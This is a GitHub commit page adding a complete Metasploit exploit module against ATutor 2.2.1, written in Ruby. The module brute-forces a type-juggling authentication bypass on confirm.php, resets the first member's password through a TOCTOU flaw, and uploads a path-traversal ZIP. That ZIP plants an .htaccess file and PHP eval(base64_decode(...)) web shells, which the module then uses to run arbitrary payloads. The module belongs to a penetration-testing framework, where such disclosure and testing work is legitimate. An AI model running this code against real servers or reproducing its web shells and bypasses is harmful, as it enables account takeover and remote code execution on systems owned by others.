Skip to content

Commit 3842009

Browse files
stevenseeleywchen-r7
authored andcommitted
Add ATutor 2.2.1 Directory Traversal Exploit Module
1 parent 0c7cf29 commit 3842009

File tree

1 file changed

+370
-0
lines changed

1 file changed

+370
-0
lines changed
Lines changed: 370 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,370 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
19+
setup with display_errors set to On, which can be used to allow us to upload a malicious
20+
ZIP file. On the web application, a blacklist verification is performed before extraction,
21+
however it is not sufficient to prevent exploitation.
22+
23+
You are required to login to the target to reach the vulnerability, however this can be
24+
done as a student account and remote registration is enabled by default.
25+
26+
Just incase remote registration isnt enabled, this module uses 2 vulnerabilities
27+
in order to bypass the authenication:
28+
29+
1. confirm.php Authentication Bypass Type Juggling vulnerability
30+
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
31+
32+
~ spirit of the hack
33+
},
34+
'License' => MSF_LICENSE,
35+
'Author' =>
36+
[
37+
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
38+
],
39+
'References' =>
40+
[
41+
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
42+
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
43+
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
44+
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
45+
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
46+
],
47+
'Privileged' => false,
48+
'Payload' =>
49+
{
50+
'DisableNops' => true,
51+
},
52+
'Platform' => ['php'],
53+
'Arch' => ARCH_PHP,
54+
'Targets' => [[ 'Automatic', { }]],
55+
'DisclosureDate' => 'Mar 1 2016',
56+
'DefaultTarget' => 0))
57+
58+
register_options(
59+
[
60+
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
61+
OptString.new('USERNAME', [false, 'The username to authenticate as']),
62+
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
63+
],self.class)
64+
end
65+
66+
def print_status(msg='')
67+
super("#{peer} - #{msg}")
68+
end
69+
70+
def print_error(msg='')
71+
super("#{peer} - #{msg}")
72+
end
73+
74+
def print_good(msg='')
75+
super("#{peer} - #{msg}")
76+
end
77+
78+
def check
79+
# there is no real way to finger print the target so we just
80+
# check if we can upload a zip and extract it into the web root...
81+
# obviously not ideal, but if anyone knows better, feel free to change
82+
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
83+
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
84+
if student_cookie != nil && disclose_web_root
85+
begin
86+
if upload_shell(student_cookie, check=true) && found
87+
return Exploit::CheckCode::Vulnerable
88+
end
89+
rescue Msf::Exploit::Failed => e
90+
vprint_error(e.message)
91+
end
92+
else
93+
# if we cant login, it may still be vuln
94+
return Exploit::CheckCode::Unknown
95+
end
96+
else
97+
# if no creds are supplied, it may still be vuln
98+
return Exploit::CheckCode::Unknown
99+
end
100+
return Exploit::CheckCode::Safe
101+
end
102+
103+
def create_zip_file(check=false)
104+
zip_file = Rex::Zip::Archive.new
105+
@header = Rex::Text.rand_text_alpha_upper(4)
106+
@payload_name = Rex::Text.rand_text_alpha_lower(4)
107+
@archive_name = Rex::Text.rand_text_alpha_lower(3)
108+
@test_string = Rex::Text.rand_text_alpha_lower(8)
109+
# we traverse back into the webroot mods/ directory (since it will be writable)
110+
path = "../../../../../../../../../../../../..#{@webroot}mods/"
111+
112+
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
113+
# we will win. If not, we may still win because these file extensions are often registered as php
114+
# with the webserver, thus allowing us remote code execution.
115+
if check
116+
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
117+
else
118+
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
119+
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
120+
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
121+
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
122+
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
123+
end
124+
zip_file.pack
125+
end
126+
127+
def found
128+
res = send_request_cgi({
129+
'method' => 'GET',
130+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
131+
})
132+
if res.code == 200 and res.body =~ /#{@test_string}/
133+
return true
134+
end
135+
return false
136+
end
137+
138+
def disclose_web_root
139+
res = send_request_cgi({
140+
'method' => 'GET',
141+
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
142+
})
143+
@webroot = "/"
144+
@webroot << $1 if res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
145+
if @webroot != "/"
146+
return true
147+
end
148+
return false
149+
end
150+
151+
def exec_code
152+
# pwnage
153+
res = nil
154+
res = send_request_cgi({
155+
'method' => 'GET',
156+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.pht"),
157+
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
158+
}, timeout=0.1)
159+
if res == nil
160+
res = send_request_cgi({
161+
'method' => 'GET',
162+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.phtml"),
163+
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
164+
}, timeout=0.1)
165+
end
166+
if res == nil
167+
res = send_request_cgi({
168+
'method' => 'GET',
169+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.php4"),
170+
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
171+
}, timeout=0.1)
172+
end
173+
end
174+
175+
def upload_shell(cookie, check)
176+
post_data = Rex::MIME::Message.new
177+
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
178+
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
179+
data = post_data.to_s
180+
res = send_request_cgi({
181+
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
182+
'method' => 'POST',
183+
'data' => data,
184+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
185+
'cookie' => cookie,
186+
'vars_get' => {
187+
'h' => ''
188+
}
189+
})
190+
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
191+
return true
192+
end
193+
# unknown failure...
194+
if res && res.body =~ /Missing zlib extensions/
195+
fail_with(Failure::NotVulnerable, 'Server is missing zlib extensions')
196+
else
197+
fail_with(Failure::Unknown, 'Unable to upload php code')
198+
end
199+
return false
200+
end
201+
202+
def find_user(cookie)
203+
res = send_request_cgi({
204+
'method' => 'GET',
205+
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
206+
'cookie' => cookie,
207+
# we need to set the agent to the same value that was in type_juggle,
208+
# since the bypassed session is linked to the user-agent. We can then
209+
# use that session to leak the username
210+
'agent' => ''
211+
})
212+
username = "#{$1}" if res.body =~ /<span id="login">(.*)<\/span>/
213+
if username
214+
return username
215+
end
216+
# else we fail, because we dont know the username to login as
217+
fail_with(Failure::Unknown, "Unable to find the username!")
218+
end
219+
220+
def type_juggle
221+
# high padding, means higher success rate
222+
# also, we use numbers, so we can count requests :p
223+
for i in 1..8
224+
for @number in ('0'*i..'9'*i)
225+
res = send_request_cgi({
226+
'method' => 'POST',
227+
'uri' => normalize_uri(target_uri.path, "confirm.php"),
228+
'vars_post' => {
229+
'auto_login' => '',
230+
'code' => '0' # type juggling
231+
},
232+
'vars_get' => {
233+
'e' => @number, # the bruteforce
234+
'id' => '',
235+
'm' => '',
236+
# the default install script creates a member
237+
# so we know for sure, that it will be 1
238+
'member_id' => '1'
239+
},
240+
# need to set the agent, since we are creating x number of sessions
241+
# and then using that session to get leak the username
242+
'agent' => ''
243+
}, redirect_depth = 0) # to validate a successful bypass
244+
if res and res.code == 302
245+
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
246+
return cookie
247+
end
248+
end
249+
end
250+
# if we finish the loop and have no sauce, we cant make pasta
251+
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
252+
end
253+
254+
def reset_password()
255+
# this is due to line 79 of password_reminder.php
256+
days = (Time.now.to_i/60/60/24)
257+
# make a semi strong password, we have to encourage security now :->
258+
pass = Rex::Text.rand_text_alpha(32)
259+
hash = Rex::Text.sha1(pass)
260+
res = send_request_cgi({
261+
'method' => 'POST',
262+
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
263+
'vars_post' => {
264+
'form_change' => 'true',
265+
# the default install script creates a member
266+
# so we know for sure, that it will be 1
267+
'id' => '1',
268+
'g' => days + 1, # needs to be > the number of days since epoch
269+
'h' => '', # not even checked!
270+
'form_password_hidden' => hash, # remotely reset the password
271+
'submit' => 'Submit'
272+
},
273+
}, redirect_depth = 0) # to validate a successful bypass
274+
275+
if res and res.code == 302
276+
return pass
277+
end
278+
# if we land here, the TOCTOU failed us
279+
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
280+
end
281+
282+
def login(username, hash, check=false)
283+
password = Rex::Text.sha1(Rex::Text.sha1(hash))
284+
res = send_request_cgi({
285+
'method' => 'POST',
286+
'uri' => normalize_uri(target_uri.path, "login.php"),
287+
'vars_post' => {
288+
'form_password_hidden' => password,
289+
'form_login' => username,
290+
'submit' => 'Login',
291+
'token' => '',
292+
},
293+
})
294+
# poor php developer practices
295+
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
296+
if res && res.code == 302
297+
if res.redirection.to_s.include?('bounce.php?course=0')
298+
return cookie
299+
end
300+
end
301+
# auth failed if we land here, bail
302+
if not check
303+
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
304+
end
305+
return nil
306+
end
307+
308+
def report_cred(opts)
309+
service_data = {
310+
address: rhost,
311+
port: rport,
312+
service_name: ssl ? 'https' : 'http',
313+
protocol: 'tcp',
314+
workspace_id: myworkspace_id
315+
}
316+
317+
credential_data = {
318+
module_fullname: fullname,
319+
post_reference_name: self.refname,
320+
private_data: opts[:password],
321+
origin_type: :service,
322+
private_type: :password,
323+
username: opts[:user]
324+
}.merge(service_data)
325+
326+
login_data = {
327+
core: create_credential(credential_data),
328+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
329+
last_attempted_at: Time.now
330+
}.merge(service_data)
331+
332+
create_credential_login(login_data)
333+
end
334+
335+
def exploit
336+
# login if needed
337+
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
338+
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
339+
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
340+
print_good("Logged in as #{datastore['USERNAME']}")
341+
# else, we reset the students password via a type juggle vulnerability
342+
else
343+
print_status("Account details are not set, bypassing authentication...")
344+
print_status("Triggering type juggle attack...")
345+
student_cookie = type_juggle
346+
print_good("Successfully bypassed the authentication in #{@number} requests !")
347+
username = find_user(student_cookie)
348+
print_good("Found the username: #{username} !")
349+
password = reset_password
350+
print_good("Successfully reset the #{username}'s account password to #{password} !")
351+
report_cred(user: username, password: password)
352+
student_cookie = login(username, password)
353+
print_good("Logged in as #{username}")
354+
end
355+
356+
if disclose_web_root
357+
print_good("Found the webroot")
358+
# we got everything. Now onto pwnage
359+
if upload_shell(student_cookie, false)
360+
print_good("Zip upload successful !")
361+
exec_code
362+
end
363+
end
364+
end
365+
end
366+
367+
=begin
368+
php.ini settings:
369+
display_errors = On
370+
=end

0 commit comments

Comments
 (0)